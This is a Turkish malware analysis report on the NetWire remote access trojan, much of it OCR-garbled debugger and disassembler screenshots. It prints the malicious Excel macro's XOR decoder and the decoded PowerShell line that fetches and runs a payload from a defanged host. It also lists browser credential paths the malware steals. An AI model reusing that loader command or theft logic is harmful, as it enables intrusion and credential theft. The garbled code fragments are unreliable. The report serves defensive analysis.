metWire RAT
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GIRIS

NetWire, 2012'den beri sug orgiitleri ve diger kotii niyetli gruplar tarafindan kullanilan, bir
Remote Access Trojan'dir. NetWire cesitli kampanyalar araciligiyla dagitilir ve genellikle kotii
amacli spam (malspam) yoluyla gonderilir.

Bu koétii amagh yazilimin viriis bulagsmis bilgisayarlari;

- Uzaktan kontrol etmesine

- Klavye vuruslarini ve fare davranisini kaydetmesine

- Ekran goriintiileri almasina

- Sistem bilgilerini kontrol etmesine

- Sahte HTTP proxy'leri olusturmasina

- Clipboard iizerindeki verilere erisim vermesine

- Cesitli tarayicilar tizerindeki verilere erisim saglamasina olanak saglamaktadir.
Bircok RAT'in aksine, Windows, Linux ve MacOS dahil olmak {izere her biiyiik isletim sistemini
hedefleyebilir.

ON INCELEME

Incelenen versiyondaki NetWire zararlisi bir Excel dosyasi ile birlestirilerek phishing
yontemleriyle yayilmay1 stirdiirmiistiir. Zararli dosya ilk “shipment.xlsm” olarak adlandirilmistir.
Isminden anlasildig1 gibi kargo sirketleri ve bunu kullanan sirketleri hedef almistir. Ilk olarak
stiphe ¢ekmemesi i¢in karsimiza bir Excel dokiimani olarak gelmektedir. Yapilan analizler
sonucunda bu dosyanin Stage 1'1 ger¢eklestirmek i¢in loader gorevi gordiigii tespit edilmistir.

Dosya Adi: | shipment.xlsm

MD5 8fa508038223405¢14000d0a2d909aa6

SHA1 4bbcb5766ec862e7a674ca%9a420443bc18aa4855

SHA256 4426f68adbceaal4bd026618a134a3c84f83b546777f2f63bec6506d9fce9157




<4

shipment.xlsm zararlisinin icindeki gobmili olan makrolari inceledigimizde sifrelenmis bir deger ve bunu
isleyen bir fonksiyon oldugu gorilmektedir.

&4 shipment.xlsm - ThisWorkbook (Code)

[Workbaok
eFCHEEQoJIGSIXbZ = eFCNHEQoJGSIXbZ + "27
eFCHHEQoIGSIXbZ = eFCNHTQoIGSIXbZ +
eFCHHEQoIGSIXbZ = eFCNHTQoIGSIXbZ +
eFCHHEQ0JIGSIXbZ = eFCNHTQoIGSIXbZ +
eFCHELQ0JIGSIXbZ = eFCNHTQoJGSIXbZ +
eFCHELQ0JGSIXbZ = eFCNHLQoJIGSIXbZ +
eFCHELQoJGSIXbZ = eFCNHLQoJGSIXbZ +
eFCHELQoJGSIXbZ = eFCNHLQoJGSIXbZ +
eFCHELQoJGSIXbZ = eFCNHLQoJGSIXbI +
eFCHEEQoJIGSIXbZ = eFCNHEQoJGSIXbZ +
eFCHEEQoJIGSIXbZ = eFCNHEQoIGSIXbZ +
eFCHHEQoIGSIXbZ = eFCNHTQoIGSIXbZ +
eFCHHEQ0JIGSIXbZ = eFCNHTQoIGSIXbZ +
eFCHELQ0JIGSIXbZ = eFCNHTQoJGSIXbZ +
eFCHELQ0JIGSIXbZ = eFCNHTQoJGSIXbZ +
eFCHELQ0JGSIXbZ = eFCNHLQoJIGSIXbZ +
eFCHHLQ0JGSIXbZ = eFCNHLQoJGSIXbZ + "
eFCHELQoJGSIXbZ = eFCNHLQoJGSIXbZ +
eFCHELQoJGSIXbZ = eFCNHLQoJGSIXbI +
eFCHEEQoJIGSIXbZ = eFCNHEQoJGSIXbZ +
eFCHHEQoJIGSIXbZ = eFCNHLQoIGSIXbZ + "2"
eFCHHtQoJGSiXbZ = eFCNHTQOJIGSIXbZI + "0
eFCHHtQoJGSiXbZ = eFCNHTUQOJGSIXbZI + "3"
eFCHHtQoJGEjXbZ = eFCNHTUQoJGSIXbZ + "B"
eFCHELQoJGEjXbZ = eFCNHtQoJGSXbZ + "3"
eFCHHELQoJGEjXbZ = eFCNHtQoJGSjXbZ + "O"
eFCHELQoJGSIXbZ = eFCNHLQoJGSIXbZ + "2"
eFCHELQoJGSIXbZ = eFCNHLQoJGSIXbZ + "O"
eFCHHEQOJGSi¥bZ = eFCNHtQoJGSXbZ + "5"
eFCHEEQoJIGSIXbZ = eFCNHEQoJGSIXbZ + "C"
X = zsss3s53s5("a", eFCNHtQoJIGS5iXbZ)
End Sub
Public Function s3ssssss(CodeEey As String, Dataln As String) As String
Dim lonDataPtr As Long
Dim strDataOut As String
Dim intXOrValuel As Integer
Dim intXOrValue2 As Integer
For lonDataPtr = 1 To (Len(Dataln) / 2)
intXOrValuel = Val("&H" & (Mid$(DataIn, (2 * lonDataPtr) - 1, 2}))
intXOrValueZ = Asc(Mid$ (CodeKey, ((lonDataPtr Mod Len (CodeEey)) + 1), 1))
strDataQut = strDataCut + Chr (intXOrValuel Xor intXOrValue2)
Next lonDataPtr
sssssss = strDatalut
retval = Shell (sasasss)
MsgBox (sssssss)
End Function

“sssssss” fonksiyonu asagidaki gorselde yer alan giktiya sahiptir.

Microsoft Excel @

cmd fc powershell.exe -encodedCommand

KABOAGUAdwWALAESAY gBgAGUAYWBIACAATgBIAHQALgBXAGUAY gBDAGWAR
QBIAGHADAAPACAARABVAHCAbgBSAGEAY QBKAEY AaQBsAGUAKAANAGgAdABD
AHAAOQGAVACEAYQBKAGUABABRhAGEADABYAHMAQAUAGMABWEBLACEAY WBW
ACBACWBOAGKACABLAGUAbGBOACAAZQBAAGUAIWASACgAJABIAGIAdgABAGEA
cABWAGQAYQBOAGEAKQArAC cAXABYAFCATABUAFKALgBIAHgAZ QANACKAOW
BTAHQAYQByAHQALQBTAGWAZ QBIAHAATAAYADSAIABTAHQAYQByAHQALQE
QAHIAbWEJAGUACWEBZACAAIABIAGA AdgABAGEACABWAGQAY QBOAGEAXABYAF
oATABUAFKALgBIAHgAZ QA=

Tamam

Degerin Base64 sifreleme yontemi ile tekrar sifrelenmis oldugu gérilmekte ve bunu Powershell.exe ile calistirilmaktadir.
Coziimlenmis hali ise:

(New-Object
Net.WebClient).DownloadFile('http[:]//adelantosi[.Jcom/cp/shipment.exe’,(Senv:appdata)+'\rZLTY.exe');Start-
Sleep 2; Start-Process Senv:appdata\rZLTY.exe

Burada shipment.xlsm dosyasinin aslinda bir loader tirinde oldugunu ve Powershell’de asil zararliyi AppData klasériine
indirildigi gorilmektedir.
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rZLTY.exe ANALIZI

Dosya Adi: | rZLTY.exe

MD5 71cb77adbd1b17135f2b626d603932c7

SHA1 d7e06c1243ef5c2aa861626b5f13eabf5014a94c

SHA256 5f79033967a35156cae879606fe663048b6dd09d68d8a4955f42ee1848f65452

AppData klasériine indirilen rZLTY.exe’yi statik olarak incelendiginde kendisinin yiiriitiilebilir bir
dosya oldugu ve kendisini bir Word dokiimani olarak gosterdigi goriilmektedir.

rZLTY bin

=) Icons
----- [ 50 - Pang:0]
----- [ 51-Jang:0]
----- [ 52 - Mang:0]
----- :3 53 - [lang:0]
----- [ 54 - Dang:0]
----- :3 55 - [lang:0]
----- [ 56 - Jlang:0]
----- :3 57 - [lang:0]
----- [ 58 - [lang:0]
----- :3 59 - [lang:0]
----- [ 80 - Jlang:0]
----- :3 61 - [lang:0]
----- [ 62 - Jlang:0]
----- :3 63 - [lang:0]
----- [ &4 - Jlang:0]
----- :3 65 - [lang:0]
----- [ &6 - Jlang:0]
----- :3 67 - [lang:0]
----- [ &2 - Nang:0]
----- :3 69 - [lang:0]
----- [ 70 - Dang:0]
----- :3 71- [lang:0]
----- [ 72 - Dang:0]
[-{5) Dialogs
({2} Icon Groups
[#-{J) Version Info
=2 Configuration Files
[ 1- Jang:1033]

Offset g1 2 3 4 5 & 7T 8 %8 A B CDEF Racii

00000000 | 4D 5& 90 00 03 00 00 00 04 00 00 OO0 FF FF 00 00 |MZ .L...-d...§%..
00000010 g 00 00 00 00 OO0 OO0 00 40 00 00 00 00 00 00 00 NEEEEEE [
00000020 | 00 00 00 00 OO0 00 00 OO0 00 00 00 00 00 00 00 00 [ .eeesvsnnncnannn
00000030 | 00 00 00 00 00 OO0 00 00 00 00 00 00 C8 00 00 00 | .eeeaseanans E...
00000040 | OE 1F BA OE 00 B4 0% CD 2 8 01 4C CD 21 54 68 |p °f. .11, 1itTh
00000050 | &9 73 20 70 72 &F &7 72 61 &D 20 &3 &1 6E 6E &F | is.program.canno
00000060 | 74 20 62 65 20 72 75 6E 20 &9 6E 20 44 4F 53 2 t.be.run.in.CO

00000070 | 6D &F 64 65 2E OD 0D OA 24 00 00 00 00 00 00 00 |(mode....feeeeawn

EC

00000080 g 20 80 40 41 EE 13 EC 41 EE 13 EC 41 EE 13 TLERIRINIRINIRI

a

y



EE 80724000 mov esi,rzlty.407280 esi:"PROPSYS", 407280: "UXTHEME"
43 push esi esi:"PROPSYS"
ES8 &B2D0000 call <rzlty.d11>
43 push esi esi:"PROPSYS"
FF15 08714000 call dword ptr ds:[<&1strlenA=]
BD7406 01 Tea esi,dword ptr ds:[esi+eax+1] esi:"PROPSYS", esi+eax®1+1:"DWMAPI™
381E cmp byte ptr ds:[esi],bl esi:"PROPSYS"
~L75 EB jne rzlty. 40315C
64 0D push D

UXTHEME.dII

USERENV.dII

SETUPAPLAII

APPHELP.dII

PROPSYS.dlI

CRYPTBASE.
dll

OLEACC.dI

CLBCATQ.dII

VERSION.dII

SHFOLDER.dI

Genel olarak rZLTY .exe’nin davranislari incelendiginde, TEMP klasoriine 8lm3e6brj.dll’1 drop

edip akabinde Process Hollowing teknigini kullanarak kendini suspend olarak tekrardan
calistirmaktadir. Suspend durumda olan rZLTY.exe gerekli islemler yapildiktan sonra
ResumeThread kullanilarak calistirilmaktadir.

8lm3e6brj.dll, CreateFileA API’1 kullanilarak TEMP klasoriine olusturulmaktadir.

FeD 11 2u20 %= Process Hacker |WIN-LIKUN/9P8UN\ZOITO]
OE U ¥ wy ¢ ] s @t AL E® Hacker View Tools Users Help
B cru | @Gtk | Gunk [ () notar |  KesmeNoktaan | ™ hafza | (i véinGafinan | =3 Ser [ Lo KomutDosyas | ) semboler | < Kaynak| % Refresh & Options | ) Find handies or DiLs 2% System information | ) () 3¢
. &1 00 . [ Processes | Sevices | Network | Disk
o0 Bl oraper ss:mebn Name PID  CPU I/Ototalr. Private by.. Username De
50 push toste 00 4 ONTIPEON "
a0 S B e T 88 Jebp-501 51 taskhostexe 1772 001 11,94 MB WIN-LIKDN79P8ONzorre Wil
0 pu: X & | dilhost.exe 2092 4,38 MB 0
FF95 7CRFFFFE 0 prr 55 :lebp:54)
850 tes cax # 7 sppsvcexe 216 263 MB Mic
75 0 jne 81m3e6brj.10003364 = R
€5 42030000 |Jmp Sim3cebry. 1000364 ¢ msdtcexe 2248 364 MB Mic
(e L S R o i # ] Searchindexer.exe 3328 4096 MB Mic
2 - 7 svchostexe 2984 235 MB Wil
t a7 svchostexe 2832 62,55 M8 Wil
75 05 i 3e6br 1. 10003387 w1 lsassexe 536 442M8 Loc
£ 1£030000 Imp, §lm3c6br]. 10003645 B loree 44 236 M8 e
6a 0 y 8 1024 kb 3 ste
saod ors e Tep Bebp o 0 xe 424 068 1024KB/s  1586MB Iste
5 X @ winlogonexe 500 325M8 Wil
8885 BOFCFFFE Jdword ptr ss:febp-350]
830 08 8 4 explorerexe 22 001 4288 MB. WIN-LIKDN79P8ONzorc Wil
= & wintoolservice.cxe 3040 167MB WIN-LIKDN79P80Nzorme VN
dword per [ebp-84]-[00187008 <dCreateprocessw>]-<kernel3Z. Createprocessws & wintoolsbd.exe 2344 003 104KkB/s 1807 MB WIN-LIKON79P8OAZorrc VN
§ 4 % x220bg exe 1552 224 67,82MB  WIN-LIKDN79PBONzZOrTC ¥6¢
.data:10003355 8m3e6bri.d11:53355 #1155 ST TYerxe 2508 605 MB WIN-LIKDNTIPRONz0rrc
T3 ZLTV.exe 1260 4MB_WIN-LIKDN79P80AzZorTC
@ Dokumt | % Dokum2 | @ Dokum3 | % Dokumd | 4% pokums | @ =+ Yerel Deskener | Yapt | o regeditexe 132 535MB WIN;LTKDN7 9PEORZOTE TKen
T I B processHacker exe 3676 038 1255MB WIN-LIKDN79P80Nzormc Prc
D0LS . ST 4B jusched.exe 3100 257MB  WIN-LIKDN79P8ONzorrc Jav
| jucheckexe 120 467 MB WIN-LIKDN79PBONzorTc Jav
W idacxe 732 009 13582 MB  WIN-LIKDN79P80Azore The
T3 rzLvexe 2072 172MB WIN-LIKDN79P80NzOMTC
CPU Usage: 6.38% Physical memory: 1,06 GB (26.60%) Processes: 44
3 Q06E0060 v2Tty. 00GE0060
0072005 rZ1ty. 0072005¢ 1
“l <l 1 oo o »
Vasayian -
Debugging lgn Harcanan Zaman: 0:05:30:11




EAX  FFFFFFFF
EBX QOOOD000
ECX DO0O0000
EDX 00000004

CFO TF1 IF1

Lasterror 00000002 (ERROR_FILE_NOT_FOUND)
Laststatus CO000034 (STATUS_OBIECT_MAME_NOT_FOUND)

G5 0028 F5 0053
ES 002E D5 002B
€s 0023 ss 0028

ST(0) 00000000000000000000 %87r0 Bog O.000000000000000000
STC1) 00000000000000000000 xB87rl Bos O.000000000000000000
ST(2) 00000000000000000000 x87r2 Bog O.000000000000000000
ST{3} 00000000000000000000 x87r3 Bos O.000000000000000000

8Im3e6brj.dll, VirtualAlloc API' ile belirlenen adrese ¢oziimlenerek “Rxcjdizxjs” export name’i ile ¢aligmaktadir.

EBP  OQOLBFDAC &7C \\users Whappbata'Locall)\Temp”

ESP 0D18FBD4Y

ESI  00409C10 Cii\Usershy “wappbata'Locali\Temp' \nsvAE4A. tmp'\81m2e6br{. d11"
EDI 00404410 "ChUsersyy appbatayiLocal' )\ Temp' \nsvAE4A. Tmp”

EIP  75475DB6 <kernel32.createrileas

EFLAGS 00000344

ZF1 PF1 AF O

OF 0 SFO DF O

| FPU Gizle

EAX  031B00DE “PE*
EBX 00000000
ECX 03180008 "PE"
EDX  0018E764
EBP  0018E7DO
ESP  0018E7BE

€SI 10001140  <8lm3e6hr.Rxcjdizxjs»
| r 10000000  gTm3esbri.10000000

EIP  7771FO0E3 <kernelbase. virtualallocexs

EFLAGS 00000304
IFO0 PF1 AFO
OF 0 SFO DFO
CFO TFL IF1

LastError 00000000 (ERROR_SUCCESS)
LastStatus 00000000 (STATUS_SUCCESS)

G5 0028 F5 0053
ES 0028 DS 0028
€5 0023 55 0028

mov_edi edi [virtualallocex
push ebp
mov eb, esp
push ecx ecx: "PE"
mov eax,dword s5:fjenp+10]
mov dword ptr ), l':m 4], eax
mov eax,dword ptr ss:[febp-
mov wcru Dlr 583 [EUD-LJ ,e?.x
1est & eax: "PE
741 je keme]base T771F104
30 00000100 <mp eax, eax; "PE"
+ 7304 i | k:rnﬂbase;m:lnm
€A 57 push
FFI5 44107177 ul] Mrd ptr ds: [<ARtIRestor eLastwing|
v jmp kernelbase.7771F136
FF75 18 push dword ptr ss: [eby
8845 14 oV eax, dword per ,J:hpw
83E0 FO and tax FFFFFFFO eax: "PE"
push &: eax: “pE"
8045 FC lea eax dword ptr ss:ffebp-4)
50 nus eax eax: "PE
64 00
045 10 Pt eax dword pir ssifebp+10] .
50 push eax: "PE
F75 08 push dnord ptr s5: ebp+s]
FFI5 30117177 €Al dword ptr ds: [caNtallocatevirtualu(
500 Test eax, eax ax: "PE"
v 7€ 08 31 kernelbase. WA
8645 10 mov eax,dword ptr ss:febpt10]
« EB 08 jnp kerne'lbnse 7771F13&
50 eax: "pE"
E8 70840200 u|1 kernalhasa.nmnsz
330 XOF €aX, eax eax: "PE
€2 1400 [ Rt
€« int3
€« int3
€« int3
« int3
C ine3
8BFF oV edi, ed virtualprotect
F "

X8TTaghor d FFFF
X87TH_0 3 (B05)

§T(0) X87r0 Bog 0,
sT(1) X87r1 B0g 0.
sT(2) X87r2 B0g 0.
ST(3) X87¢3 Bo§ 0.
ST(4) X87r4 Bog 0.
ST(5) X87r5 805 0,
ST(

€) X87r6 Bog 1
ST(7) 3FFFADE0G00000000000 X777 Bog 1.252941131591796875

x87T_1 3 (Bos)

’ N Varsaylan (stdeal)

m3e60r

0000000

JText:7774F0E3 kernelbase.d11:$FOE3 #E4E3 <VirtualAllocEx>

4 0oann. | Eosim | osan | 4 0sims | @osans | 8 e [ ieivetoesgone [ von

[T 777 1F196] return T0 Kerne

FFFFFFFF

[asc1z
03180000 |4 5A 50 00|03 00 00 00|04 00 00 0O[FF FF 00 00 .
0318001088 00 00 00|00 00
03180020/ 00 00 00 00|00 00
03180030/ 00 00 00 00|00 00
03180040/ 0% 1F BA 0E|00 B4
03180050 69 73 20 70|72 6F
03180060 74 20 €2 65|20 72
03180070 & €F 64 65|2E 0D
03180080 F5 9F FD BE|BL FE
03180090 B8 B6 OC ED|BO FE
031B00A0 BB B6 1A ED|83 FE
031B00B0 B8 B6 OA ED|BO FE
0318000 52 €9 €3 66|BL FE
03180000 00 00 00 00|00 00
3180020 80 21 & 5C/00 00
031800F0 05 01 03 00|00 &2
TEAENL00 00 00 % 60

03180120 00 00

1
is prograi canno
t De run in D05
mod

00000000
00180000
00003000/
00000004
0018E850/

00000000
00150000/
00003000/
00000004
3 | 0074006E | r21ty. 00740068
C | 006C0064| rz1ty.006C0064
Q02E006C

006C0064( FZ1Ty. 006C0064
0000006C
00140038
00000014
76987A28| kernel32, 76987428
03180000
76983FES | kernel32. 76963FES

1000387D| return to 81m3esbr]. 10003670 from 777

03180130
03180140

63 D7 14 00|03 00

00 00 10 0000 10

76981944 kernel32, 76961944
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In-Memory Payload Analizi

Dosya Adi: | -
MD5 7e3033ec0de5ac28d569fc199ff77d5e
SHA1 d34efab7a03dfb434500ae8cf79557f780282336
SHA256 €900a1322f55891415d3a53586fa79dfc2ee264ba7b09a2dc2aa98b8f146¢704
rie can ump  searcn view  weou gyer  Lumme puons  vwnuows o
*E<%= S - B 3 e @@ ook et #mx( P @D O (nodebugeer =] %I [FF] @ ¥
3 | W I )
" Library function [ll Regular function [l Instruction Data Unexplored External symbol [l Lumina function :
o &8 x| IDA View-A | B Hex view-1 | @ structres | B enums | B2 1mports ,?r] Exparts |
- || Address Ordinal  MName Library
7] sub_41C79D ) 00430514 TranslateMessage USER32
F] sub_41care 5 00430618 keybd_event USER32
7] sub_41D049 ) 043081C mouse_svent USER32
7] sub_41DD3F 2 00430624 WSACleanup ws2_32
7] sub_41DF49 ) 0430628 WSAGetLastError ws2_32
F] sub_41£0C7 ) 0043062C WSAloct! ws2_32
F] sub_a1E16F - || &2 00430630 WSAStartup ws2_32
<[m ) 00430634 _ WSAFDIsSet Ws2_32
Line 504 of 504 5 00430638 closesocket ws2_32
- B o043063C  connec + ws2_32
ik Graph overview B % *| &3 cosz0640 gethostbyname Ws2_32
) 00430644 htens ws2_32
,_—:II;I— 2 00430648 inet_ntoa ws2_32 _
= TA 0043064C ioctisocket Ws2_32 =
=) 00430650 ntohs ws2_32 o
% Line 165 of 172
=] output window o & x
IDaPython v7.4.8 final (serial @) (c) The IDAPython Team <idapythonfigooglegroups.com> &

Zararhmin import ettiklerine baktigimizda, USER32 ve WS2 32 gibi énemli kiitiiphaneler kullaniyor.
WS2 32 kiitiiphanesine baktigimizda i¢inde kullandig1 fonksiyonlardan da anlasilabilecegi iizere network
islemleri gerceklestirme kapasitesine sahip oldugu anlasilmaktadir.

Ayrica diger kullanilan fonksiyonlara baktigimizda keybd event ile girilen inputlari, mouse event
fonksiyonu ile de mouse hareketlerini ve tiklamalarini almaya calistig1 dogrulanmaktadar.

Zararlinin i¢indeki dnemli DLL ve fonksiyonlar1 inceledigimizde;

-Gethostbyname
-DeleteFilew
-CreateMutexA
-ShellExecute
-GetSystemInfo
-CreateToolhelp32Snapshot
-GetVolumelnformationA
-WriteFile
-RegCreateKeyExA

Zararlinin, sistem bilgilerine ulagabildigini, mutex nesnesi olusturdugunu, sistem ve dosyalar hakkinda
bilgi alabildigini, dosyalar1 silebildigini, dosya yazabildigini, yapilan islemin anlik goriintiistini
alabildigini ve kayit defteri i¢cin anahtar olusturabilecegi goriilmektedir.
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Genel olarak bakildiginda zararli yazilimin temel 2 davranisi oldugu goriilmektedir.
I1k olarak sistemden edinilen bilgileri her bir karakterini (ord(buffer) - 36 ) ~ 0x9D islemine
soktuktan sonra LOG dosyasi olusturup saklamaktadir.

EAX 00000024

S'
EBX  00287D3C "C:\\users\ \\AppData\' \Roaming\' Logs,\'
ECX 00287D3C "C:\\users) \\AppData\\Roaming\\Logs\"
EDX 00422425 zlty_OOSfOOOO 00422425

EBP  0028FF94
ESP 00287710
ESI 00287730 "c:\\users\\s \\\Desktop\\rzlty_008F0000\\rzlty_008F0000.bin"
EDI 00000000

EIP 00409297 rzlty_008f0000. 00409297

EFLAGS 00000206
ZF 0 PF1 AF O
OF 0 SFO DF O
CFO TF O IF1

Lasterror 00000000 (ERROR_SUCCESS)
LastStatus C0000034 (STATUS_OBJIECT_NAME_NOT_FOUND)

GS 0028 FS 0053
ES 0028 DS 002B
€S 0023 §S 0028

sT(0) 00000000000000000000 x87r0 Bos 0.000000000000000000
ST(1) 00000000000000000000 x87r1 Bos 0.000000000000000000
ST(2) 00000000000000000000 x87r2 Bos 0.000000000000000000

.........................................

Log dosyasin1 AppData/Roaming/Logs/[GG-AA-YYYY] seklinde yazmaktadir. Log dosyasinda klavye
tus vuruslari, sistemin bilgileri, kopyalanan veriler gibi hassas veriler sifreli bir sekilde tutulmaktadir.
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83EC 3C sub esp,3c
BBTCZ24 50 mov edi,dword ptr ss:|fesp+50]
BEEC24 54 mov ebp,dword ptr ssifesp+c4]
8D7424 24 lea esi,dword ptr ss:|[esp+z4])
C74424 0C 01020000 |(mov dword ptr ss:fesp+c[,z201
C74424 08 00000000 |mov dword ptr ss:|fesp+s],0
837424 10 mov dword ptr ss:[esp+i0],esi
BESCZ4 58 mov ebx,dword ptr ss:jfesp+5s])
BI&C24 04 mov dword ptr ss:llesp+4ll, ebp
B893C24 mov dword ptr ss:fesp],edi
ES 3SEDOOOO call <IMP.&RegopenkeyExA>
B3EC 14 sub esp,14

85C0 test eax,eax

esp+5 4] "SOFTWARE®

[esp+10] : "HOStId-uKqwoy"
[esp+58] :"Install Date™

Random olarak Hostld atamas1 yapmakta ve bunu kayit defterine key olarak eklemektedir.

WNetwire”

Diger bir davranisi ise, edinilen bu bilgileri komuta & kontrol sunucusu ile baglanti kurarak aktarmaktadir.

ta

891C24
C74424 08 FFOOO0OD
C74424 04 00264200
E& ZE730000

891C2 4

C74424 08 20000000
C74424 04 C0254200
EE& 16730000

891C24

C74424 08 27000000
C74424 04 80254200
E& FE7S80000

891C24

C74424 08 08000000
C74424 04 64254200
EE& E&7EBOODD

891C24

55° [e.sp] » 80X
ss:|jesp+8ll, FF

mov dword ptr
mov dword ptr
mov dword ptr
€all rzlty_00sfo000.410498
mov dword ptr ss:|[espl,ebx
mov dword ptr ss:[esp+3],z0
mov dword ptr
call rzlty_0o0sf0000.410498
mov dword ptr ss:|fesplll,ebx
mov dword ptr ss:[flesp+al,z7
mov dword ptr
€all rzlty_00sfo000.410498
mov dword ptr ss:|[espl,ebx
mov dword ptr ss:|[fesp+s], s

mov dword ptr ss:[esp+4],rzlty_003F0000.

call rzlty_005f0000.410498
mov dword ptr ss:|fesplll,ebx

s5: [flesp+4)l,rz1ty_008F0000.

ss5: flesp+4), rz1ty_003f0000.

s5: [flesp+4)l,rz1ty_008F0000.

[esp+4] : "HostId-¥Randx™

20:" "

[esp+4]: "HostId-¥Randx™,
e4p+4 "HostId-¥Randx™,
[esp+4] : "HostId-%Randx™

4225C0: "iq

422580: "HC

GetLogicalDriveStringsA API’im1 kullanarak siirlicii isimlerini almaktadir daha sonra aldigi siiriicii

isimlerini GetDriveType API’ 1 kullanarak tipini 6grenmektedir.

sub esp,eax

lea esi,dword ptr
mov dword ptr ss:
mov edi,dword ptr
mov dv.ord ptr 5s:
mov ebx,

call <JMP &GetLDg’l calorivestringsAa>

test eax,eax
push ecx
|push ecx

jne rzlty_008f0000.406350
imov dword ptr C
lmov dword ptr
lmov dword ptr
jmp rzlty_008f0000.40637¢
mov eax,ebx

sub eax t;!

cmp ¥t : [ebx],

je rzlty_| OOBfOOOO 40636E

mov dv.ord ptr ss:fesp],ebx
add ebx

call <vp. &GetDriveTypeA>
push edx

mov byte ptr ds:[ebx-2],al
mov byte ptr ds :[ bx-1],

jmp rzlty_008f0000. 406350
mov dword ptr ¢ esp ,eax

mov dword ptr ¢

8, esi
Tmon dward nre cc- '

-

FPU GOster
EAX  0000000C
EBX  00285A50 TA\\"

ECX 00000019
EDX 00000000
EBP 00000000
ESP 0028544
ESI 00285A50 SATANE
EDI FFFFFFFF

EIP 00406333

EFLAGS 00000206
ZF 0O PF1 AF O
OF 0 SFO DF O
CFO TF O IF1

Varsayian (stdcal)

rzlty_008f0000.00406333

1: [esp+4] 00000000
2 8] 00000000
33 005C3A41
4; 005C3A43

esp+14] 005C3A44

Zararly, sistem iizerinde *VmdIDEpb’ adinda mutex nesnesi olusturmaktadir.

Key
Mutant
Thread

HELM\SYSTEM\ControlSetd0 1iservices \WinSock 2 \Parameters Ma. ..

\Sessions |\ 1\BaseNamedCbjects\WmdIDEpb

rzity_O0SFO000.bin (2212): 2308

QxS
Oxad
Qx30




GetWindowTextW API’in1 kullanarak ekranda aktif olan pencerenin basligin1 almaktadir.

gﬁgn Sd: » |[ FPU Goster

pugh ebx EAX  0000005A o> S

sub esp,430 EBX  00286D2C

mx ng mgg gtr j:_[e;p 4 5)] ECX  75C920BA user32.75C9208A
call <avp. KetForegréundwindw Eg’; gggggggg

test eax,eax £

je rzlty.008f0000.413200 ESP  0028662¢ ey

ea edx.aword prr . od ESI 00000200 L'A

lea edi,dword ] EDI 00286648

mov dword ptr
mov dword pt
mov dword ptr s
mov_dword ptr

| sub esp,c ,Varsaylan (stdcal)

jle rﬂty_oosfoo
mov dword ptr s
mov_dward nrr

EIP 00413188 rzlty_008f0000.00413188

|_EFLAGS 00000244

Kayit defterini okuyarak kullanicin Outlook tizerindeki hassas verilerini elde etmektedir.

call rzlty 008f0000.402570
mov eax,dword ptr ss:|[esp+40]
add eax,ebx

mov eax,dword ptr ds:[eax+4]
mov eax,dword ptr ds:[eax*4+422CA0 eax*-1+422(A0 "W, are\\M'lcr‘nsm‘t\\m‘ﬁce\\ls o\Nout Took™\\Profiles’\outlook \9375CFF0413111d3688A0010462A6676"
mow dword ptr ss:[lespll, eax [esp]:"m465dRrR4RN.

€all rzlty_008f0000. 4081AA
add ebx,dword ptr ss:|[[esp+40]

mov dword ptr ss:fesp+lc]l,eax [esp+lc]:"Listening..."
lea eax,dword ptr ss:|[es +58]

mov dword ptr ss:|fesp+18],ebp [esp+18]:"0.0.0.0:0"
mov dword ptr ss:|esp+14],eax [esp+14]:"0.0.0.0:135"

mov eax,dword ptr ds:[ebx+18]
lea ebx,dword ptr ss:|[esp+1DC])

mov dword ptr ss:[[esp+cl],edi [esp+C]:"svchost. exe"”
mov dword ptr ss:|lesp+8],rzlty_008

mov dword ptr ss:fesp+4f]l,204 [esp+4] : "svchost. exe”
mAss resned oer ce  BaceE Al Frrnd . fmagcdnana "

Tarayicilarda saklanan kullanic1 verileri, tarayici gegmisi gibi verileri de komuta & kontrol sunucusuna
aktarmaktadir.

UATA ARCF: Uosyalslemlerivanaexralanvar+lsro
; char aSYandexYandexb[]
asYandexYandexb db '#s\Yandex\YandexBrowser\User Data\Default‘lLocgin Data',®
DATA XREF: BrowserlarlallgiliSeylerVar+lFto
; char asYandexYandexb_a[]
aSYandexYandexb ® db '¥s\Yandex\YandexBrowser\User Data'\local State’,8
DATA XREF: BrowserlarlallgiliSeylerVar+47to
3 char aSBravesoftware[]
aSBravesoftware db '¥%s\BraveSoftware\Brave-Browser\User Data‘\Default\Login Data’,®
DATA XREF: DosyaIslemleriBraveBrowserFalanVar+l7to
BrowserlarlallgiliSeylerVarSVeNettle+lFto
3 char asBravesoftware_a[]
aSBravesoftware_@ db '¥s\BraveSoftware\Brave-Browser\User Data\local State’,B8
DATA XREF: BrowserlarlallgiliseylerVarSveNettle+47to
3 char aS3e@chromeChro_8[]
as3e@chromeChro_@ db '¥s\36@Chrome\Chrome\User Data‘\Default‘lLogin Data’,@
DATA XREF: DosyalslemleriChromeDatalserfFalanVar+l7tc
3 char asgchromeChrome[]
asgchromeChrome db ‘¥sgChrome\Chrome\User Data‘\Default\Login Data',®
DATA XREF: DosyaIslemiNettleFalanVar+lFto
; char aS3eBchromeChrol ]
as3e@chromeChro db "¥s\368Chrome\Chrome\User Data\local State',@
; DATA XREF: DosyalslemiNettleFalanVar+47to
qaﬁTSdEl'cMwSSgCB'd db "¥6\TsdBC MWB5gCed\TsdeC M5CVid\mkWndR alsC',@
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/ NetWire zararlisinin ¢éziimledigi bazi stringler ve DLL'ler:

ES 1ULEFFFE Call rZ ITy_LUSTULDD. SUS1AA
897424 0C mov dword ptr ss:|fesp+cC]),esi
894424 10 mov dword ptr 55:
C74424 08 DD334200 mov dword ptr ss:

[esp 10 3 r |r4 .d1
C74424 04 04020000 mov dword ptr ss:lffesp -]

"'-.,::5::::: [espt s 4233DD; "Esh\Hs"

891C24 mov dword ptr sr'[e pllls bx [esp]l:"R6s00.57i"
E8 EE7Z0000 call r'z'lty 008T0000. 412?A5
85FF test edi,edi
~ OFB85 3000000 jne r'z'lcy 008F0000. 40B488
31ED xor ebp,eb
8BBS C0284200 mov eax,dword ptr ss:|lebp+4228C0] [ebp+ 4 8C0] :YsEy‘_".S""'
890424 mov dword ptr ss:[esp]‘eax [esp] R DJ
E8 DECDFFFF €211 rz1ty_008T0000. 4081AA
894424 10 mov dword ptr ss: [esp+10]:"nspr4.dl
8D8424 3C040000 lea eax,dword ptr
897424 0C mov dword ptr
C74424 08 DD334200 mov dword ptr [esp+8] : "%s\\%s", 4233DD:"%s'\\%s5"
C74424 04 04020000 mov dword ptr ss:
890424 mov dword ptr [esp]:"R6s00.57i"
E8 AF730000 calll rzlty_d DDSfDDDD 4127A8
8D8424 3C040000 lea eax,dword ptr ss:[[esp+43C]
